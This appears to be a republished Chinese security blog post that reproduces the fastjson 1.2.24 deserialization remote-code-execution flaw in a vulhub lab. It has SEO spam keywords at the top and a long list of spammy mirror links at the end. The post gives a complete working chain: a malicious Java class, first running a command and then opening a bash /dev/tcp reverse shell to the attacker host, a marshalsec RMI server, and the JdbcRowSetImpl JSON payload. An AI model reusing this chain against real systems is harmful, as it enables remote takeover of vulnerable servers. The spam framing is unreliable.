手机门户网站开发,上海 专业网站设计,win10优化大师免费版,怎么推广自己的微信写在前面 
CVE-2017-18349 指的是 fastjson 1.2.24 及之前版本存在的反序列化漏洞#xff0c;fastjson 于 1.2.24 版本后增加了反序列化白名单#xff1b; 
而在 2019 年#xff0c;fastjson 又被爆出在 fastjson 1.2.47 的版本中#xff0c;攻击者可以利用特殊构造的 …写在前面 
CVE-2017-18349 指的是 fastjson 1.2.24 及之前版本存在的反序列化漏洞fastjson 于 1.2.24 版本后增加了反序列化白名单 
而在 2019 年fastjson 又被爆出在 fastjson 1.2.47 的版本中攻击者可以利用特殊构造的 json 字符串绕过白名单检测成功执行任意命令。 
关于这两个漏洞的复现环境在 vulhub 下都有 本篇博客主要介绍 1.2.24-rce 的复现即 fastjson 1.2.24 反序列化导致任意命令执行漏洞。 
攻击机kali Linux192.168.249.128 
靶机kali Linux192.168.249.132 目录 
一、什么是 Fastjson 
二、漏洞原理 
三、影响版本 
四、环境搭建 
五、漏洞验证 
六、漏洞利用 
1、marshalsec 安装 
2、java 环境安装 
3、命令执行 
4、反弹shell ~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~ 一、什么是 Fastjson 
Fastjson 是一个 Java 库用于在 Java 对象和 JSON 数据之间进行转换它提供了一种简单而高效的方式来序列化 Java 对象为 JSON 格式的字符串以及将 JSON 字符串反序列化为 Java 对象。Fastjson 支持各种类型的 Java 对象包括预先存在但没有源代码的对象。 二、漏洞原理 
fastjson 在解析 JSON 数据时存在自动类型转换功能autoType利用该功能构造恶意 JSON 数据使其在反序列化过程中触发漏洞利用链从而实现恶意代码的执行。 
详细过程分析 1、目标网站在解析 JSON 数据时未对 JSON 内容进行验证直接将 JSON 解析成 Java 对象并执行。  2、攻击者构造特定的 payload负载其中包含恶意的 Java 对象及执行代码。  3、攻击者控制 URL 参数为之前开启的恶意 RMI 服务器地址或者通过其他方式将恶意 JSON 数据传递给目标网站。  4、恶意 RMI 服务器返回 ReferenceWrapper 类这是 Java 远程方法调用RMI中的一种对象类型。  5、目标网站在执行 lookup 操作时通过 decodeObject 方法将 ReferenceWrapper 类转换成 Reference 类然后远程加载并实例化攻击者恶意构造的 Factory 类这个 Factory 类通常包含了恶意代码的执行逻辑在实例化时触发 Factory 类中的静态代码段从而执行恶意代码。 三、影响版本 
受影响版本范围fastjson1.2.24 四、环境搭建 
操作对象 -- 靶机kali Linux192.168.249.132 
克隆好靶场后进入到 1.2.24-rce 目录下 
执行命令拉取镜像环境 
docker-compose up -d 
这里的 docker-compose.yml 文件默认是将镜像的 80 端口映射到本地的 8090 端口  查看运行的容器 
docker ps 
可以看到确实是在 8090 端口  直接访问本地的 8090 端口 
靶场环境搭建成功并且可以看到 JSON 格式的输出 当然我们后续用另一台 kali 去复现时则访问其内网 ip 的 8090 端口即可 
我这里就是192.168.249.132:8090 五、漏洞验证 
操作对象 -- 攻击机kali Linux192.168.249.128 
使用 curl 命令发送 post 请求 
curl http://192.168.249.132:8090/ -H Content-Type: application/json --data {age:21,name:myon} 
可以看到 age 和 name 都变为我们提交的值 
成功返回了 json 格式的请求结果未报错 
基本上可以说明存在该漏洞 六、漏洞利用 
操作对象 -- 攻击机kali Linux192.168.249.128 
1、marshalsec 安装 
这是 github上的一个开源项目java 反序列化利用工具 
git clone https://github.com/mbechler/marshalsec.git 这里同样需要用到 maven 关于 mvn 的安装与配置可以参考我之前的博客 
maven 的安装与配置Command ‘mvn‘ not found修改配置文件后新终端依旧无法识别到 mvn 命令-CSDN博客https://myon6.blog.csdn.net/article/details/136558685?spm1001.2014.3001.5502安装好 maven 后我们先刷新配置文件 
source /etc/profile 
之后在此终端键入 bash 进入一个新 shell注意不是新开一个终端哦 
bash 
切换到 marshalsec 文件夹下如下图 
cd marshalsec mvn clean package -DskipTests 
在 marshalsec 目录下我们对工具进行编译生成 jar 包 
mvn clean package -DskipTests 编译完成后如下图 
存在一些警告可以忽略只要没有报错显示 success 此时在 marshalsec 下会多出一个 target 目录 
切换到 target 目录即可看到 jar 文件也就是一会儿我们要使用到的工具 2、java 环境安装 
有 java 命令不一定有 javac 命令 
kali 是自带了 java 环境的但是如果你执行命令那些还是有问题可以尝试重新装一下 java 环境 
使用如下命令可以实现快速安装 
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin 
完成后检查一下 
javac -versionjava -version 3、命令执行 
首先编译恶意类代码在攻击机上新建一个名为 TouchFile.java 的文件 
内容为 
该代码尝试在靶场的  /tmp 目录下创建一个名为 myon 的文件 
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt  Runtime.getRuntime();String[] commands  {touch, /tmp/myon};Process pc  rt.exec(commands);pc.waitFor();} catch (Exception e) {
// do nothing}}
}对该文件进行编译使用命令 javac注意不是Java用 java 会报错的 
javac TouchFile.java 执行完成后我们可以得到一个 .class 文件  使用 python 搭建 http 服务传输恶意文件 
python -m http.server 6666 靶机访问其 6666 端口就可以看到恶意文件 
如果 6666 端口访问受限制可以参考我前面博客解决 
解决火狐浏览器访问地址受限制问题This address is restricted-CSDN博客https://blog.csdn.net/Myon5/article/details/136587633?spm1001.2014.3001.5501 当然这里也不是一定要用 6666 端口用一个未被占用的就行 接下来我们通过 marshalsec 启动一个 RMI 服务器监听 1234 端口 
并指定加载远程类 TouchFile.class 
其中 ip 为攻击机的 ip 端口号为我们刚才开启的 http 服务端口号结尾端口号为监听端口号 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.249.128:6666/#TouchFile 1234 然后我们在攻击机请求靶场地址192.168.249.132:8090并且使用 burpsuite 抓包 利用 burpsuite 向 靶场主机发送 payload带上RMI地址 payload  
host 为目标靶场所在地址dataSourceName 中的 ip 为攻击机 ip 和前面的监听端口 
POST / HTTP/1.1Host: 192.168.132.128:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 167{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.249.128:1234/TouchFile,autoCommit:true}} 
再次查看 RMI 服务器可以看到已经发送了 TouchFile.class 而我们监听的 http 服务 6666 端口也有回显 
192.168.249.132靶机访问了我们 http 服务下存放的恶意文件 TouchFile.class 我们进入靶机 docker 容器看一下 
docker exec -it 容器号 /bin/bash 
切换到 tmp 目录下对比发送 payload 前和发送 payload 后  
可以看到 myon 文件创建成功也就是说我们远程命令执行成功 4、反弹shell 
方法与命令执行一样修改我们的恶意文件即可 
在攻击机上修改我们的恶意文件 TouchFile.java内容为 
其中的 ip 为攻击机 ip 反弹 shell 到攻击机 7788 端口 
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt  Runtime.getRuntime();String[] commands  {/bin/bash, -c, bash -i  /dev/tcp/192.168.249.128/7788 01};Process pc  rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}同样先进行编译 
javac TouchFile.java 
同一目录下就会生成 .class文件  为了避免大家混乱我们刚才使用的那些端口号就不变 
开启 http 服务  
python -m http.server 6666 开启 RMI 服务 
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.249.128:6666/#TouchFile 1234 但是前面恶意代码里我们说了我们要反弹 shell 到攻击机的 7788 端口 
所以我们再开一个终端监听 7788 端口 
nc -lvnp 7788 此时访问靶场地址使用 burpsuite 抓包添加 payload 后发包 
POST / HTTP/1.1Host: 192.168.249.132:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 169{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.249.128:1234/TouchFile,autoCommit:true}} 
发包后没有收到响应 观察三个终端回显情况 
http 服务 
网页被请求 RMI 服务 
恶意文件被发送 7788 
反弹 shell 成功 尝试执行命令 
可行并且是 root 权限 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞的复现至此结束 我觉得最容易混乱的就是里面涉及到很多服务和端口号除了环境搭建其它全是在攻击机上面操作的靶机只是提供一个渗透环境恶意文件这些肯定也是放在攻击机上因为是我们在使用啊人家靶机那边没事干拿恶意文件来干啥在复现前我参考了一些其他博客把那个恶意文件放到了人家靶机的 1.2.24-rce 目录下很容易误导人因此这里给大家说清楚不要弄错了。 最后给大家分享一个学习人工智能的网站通俗易懂风趣幽默 
人工智能https://www.captainbed.cn/myon/ 
 文章转载自: http://www.morning.dwfxl.cn.gov.cn.dwfxl.cn http://www.morning.zpfr.cn.gov.cn.zpfr.cn http://www.morning.rzcbk.cn.gov.cn.rzcbk.cn http://www.morning.lqgfm.cn.gov.cn.lqgfm.cn http://www.morning.grxbw.cn.gov.cn.grxbw.cn http://www.morning.krkwp.cn.gov.cn.krkwp.cn http://www.morning.tbplf.cn.gov.cn.tbplf.cn http://www.morning.bpmdr.cn.gov.cn.bpmdr.cn http://www.morning.mlpch.cn.gov.cn.mlpch.cn http://www.morning.zsyrk.cn.gov.cn.zsyrk.cn http://www.morning.guangda11.cn.gov.cn.guangda11.cn http://www.morning.yrnyz.cn.gov.cn.yrnyz.cn http://www.morning.pnntx.cn.gov.cn.pnntx.cn http://www.morning.rhjhy.cn.gov.cn.rhjhy.cn http://www.morning.ykrg.cn.gov.cn.ykrg.cn http://www.morning.taojava.cn.gov.cn.taojava.cn http://www.morning.mrqwy.cn.gov.cn.mrqwy.cn http://www.morning.mmqhq.cn.gov.cn.mmqhq.cn http://www.morning.tqygx.cn.gov.cn.tqygx.cn http://www.morning.zqxhn.cn.gov.cn.zqxhn.cn http://www.morning.qlsbz.cn.gov.cn.qlsbz.cn http://www.morning.jwmws.cn.gov.cn.jwmws.cn http://www.morning.ccphj.cn.gov.cn.ccphj.cn http://www.morning.wlqll.cn.gov.cn.wlqll.cn http://www.morning.hyhzt.cn.gov.cn.hyhzt.cn http://www.morning.fmdvbsa.cn.gov.cn.fmdvbsa.cn http://www.morning.nnqrb.cn.gov.cn.nnqrb.cn http://www.morning.mxgpp.cn.gov.cn.mxgpp.cn http://www.morning.attorneysportorange.com.gov.cn.attorneysportorange.com http://www.morning.qnbgk.cn.gov.cn.qnbgk.cn http://www.morning.lqrpk.cn.gov.cn.lqrpk.cn http://www.morning.twdkt.cn.gov.cn.twdkt.cn http://www.morning.monstercide.com.gov.cn.monstercide.com http://www.morning.tjjkn.cn.gov.cn.tjjkn.cn http://www.morning.qjzgj.cn.gov.cn.qjzgj.cn http://www.morning.lpzyq.cn.gov.cn.lpzyq.cn http://www.morning.jqllx.cn.gov.cn.jqllx.cn http://www.morning.xsqbx.cn.gov.cn.xsqbx.cn http://www.morning.lfdrq.cn.gov.cn.lfdrq.cn http://www.morning.qkqpy.cn.gov.cn.qkqpy.cn http://www.morning.rykn.cn.gov.cn.rykn.cn http://www.morning.huayaosteel.cn.gov.cn.huayaosteel.cn http://www.morning.drpbc.cn.gov.cn.drpbc.cn http://www.morning.ypklb.cn.gov.cn.ypklb.cn http://www.morning.gbrps.cn.gov.cn.gbrps.cn http://www.morning.qgfy.cn.gov.cn.qgfy.cn http://www.morning.rnkq.cn.gov.cn.rnkq.cn http://www.morning.ngcth.cn.gov.cn.ngcth.cn http://www.morning.wzwyz.cn.gov.cn.wzwyz.cn http://www.morning.tqrjj.cn.gov.cn.tqrjj.cn http://www.morning.rjnrf.cn.gov.cn.rjnrf.cn http://www.morning.ylkkh.cn.gov.cn.ylkkh.cn http://www.morning.kybyf.cn.gov.cn.kybyf.cn http://www.morning.wnbqy.cn.gov.cn.wnbqy.cn http://www.morning.txfzt.cn.gov.cn.txfzt.cn http://www.morning.rwyw.cn.gov.cn.rwyw.cn http://www.morning.hxpff.cn.gov.cn.hxpff.cn http://www.morning.ckhyj.cn.gov.cn.ckhyj.cn http://www.morning.bzqnp.cn.gov.cn.bzqnp.cn http://www.morning.nwfxp.cn.gov.cn.nwfxp.cn http://www.morning.kzrbn.cn.gov.cn.kzrbn.cn http://www.morning.jgcxh.cn.gov.cn.jgcxh.cn http://www.morning.bppml.cn.gov.cn.bppml.cn http://www.morning.thbqp.cn.gov.cn.thbqp.cn http://www.morning.ymjrg.cn.gov.cn.ymjrg.cn http://www.morning.tcylt.cn.gov.cn.tcylt.cn http://www.morning.xlyt.cn.gov.cn.xlyt.cn http://www.morning.bpmnl.cn.gov.cn.bpmnl.cn http://www.morning.lpyjq.cn.gov.cn.lpyjq.cn http://www.morning.drcnn.cn.gov.cn.drcnn.cn http://www.morning.lcwhn.cn.gov.cn.lcwhn.cn http://www.morning.yqhdy.cn.gov.cn.yqhdy.cn http://www.morning.rjqtq.cn.gov.cn.rjqtq.cn http://www.morning.qmxsx.cn.gov.cn.qmxsx.cn http://www.morning.gidmag.com.gov.cn.gidmag.com http://www.morning.wckrl.cn.gov.cn.wckrl.cn http://www.morning.trzzm.cn.gov.cn.trzzm.cn http://www.morning.fhwfk.cn.gov.cn.fhwfk.cn http://www.morning.xtrnx.cn.gov.cn.xtrnx.cn http://www.morning.jzbjx.cn.gov.cn.jzbjx.cn